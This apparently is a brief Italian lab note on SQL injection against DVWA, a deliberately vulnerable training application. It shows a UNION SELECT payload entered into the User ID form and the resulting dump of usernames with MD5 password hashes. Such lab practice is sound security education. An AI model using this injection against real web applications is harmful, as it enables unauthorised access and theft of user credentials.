

# SQL INJECTION

Inserisco nel form della dvwa questo codice sql:

```
' UNION SELECT user,password FROM dvwa.users --
```

Questo codice ci restituisce il nome utente e la password di ogni utente presente sul database.

User ID:

Submit

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03
```

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
```

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

```
ID: ' UNION SELECT user,password FROM dvwa.users --  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```